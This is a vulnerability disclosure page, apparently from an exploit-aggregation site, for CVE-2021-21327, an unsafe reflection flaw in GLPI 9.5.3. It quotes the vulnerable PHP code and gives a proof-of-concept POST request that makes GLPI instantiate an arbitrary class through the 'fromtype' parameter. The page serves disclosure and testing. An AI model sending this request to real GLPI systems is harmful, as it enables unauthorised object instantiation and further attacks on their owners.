Advertisement






GLPI 9.5.3 Unsafe Reflection

CVE Category Price Severity
CVE-2021-21327 CWE-79 $1,000 - $5,000 High
Author Risk Exploitation Type Date
Ayotunde Odejayi High Remote 2021-03-08
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021030043

Below is a copy:

GLPI 9.5.3 Unsafe Reflection
# Exploit Title: GLPI 9.5.3 - 'fromtype' Unsafe Reflection
# Date: 2021-02-13
# Exploit Author: Vadym Soroka @Iterasec https://iterasec.com
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: <=9.5.3
# Tested on:v9.5.3, 2021-02-13
# Technical advisories:
# https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp
# https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/


Impact:

Non-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a POP chain.
As an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors.

Description:

When passing an existing class (ex: "Glpi\Console\Application" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared.
When a PHP object gets destroyed, its __destruct() method is executed.
There are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point.

Vulnerable code sample:

--- file dropdownConnect.php:
if (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) {
exit();
}
---
--- file dbutils.class.php, function getItemForItemtype($itemtype)
if (class_exists($itemtype)) {
return new $itemtype();
}
//handle namespaces
if (substr($itemtype, 0, \strlen(NS_GLPI)) === NS_GLPI) {
$itemtype = stripslashes($itemtype);
if (class_exists($itemtype)) {
return new $itemtype();
}
}
---

POC/Steps to reproduce:

Issue a request*:
POST /ajax/dropdownConnect.php HTTP/1.1
Host: glpi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 12

fromtype=XXX
* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.:
GLPI Core: "Glpi\Foo\Bar"
GLPI Plugins: "PluginFooBar"

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum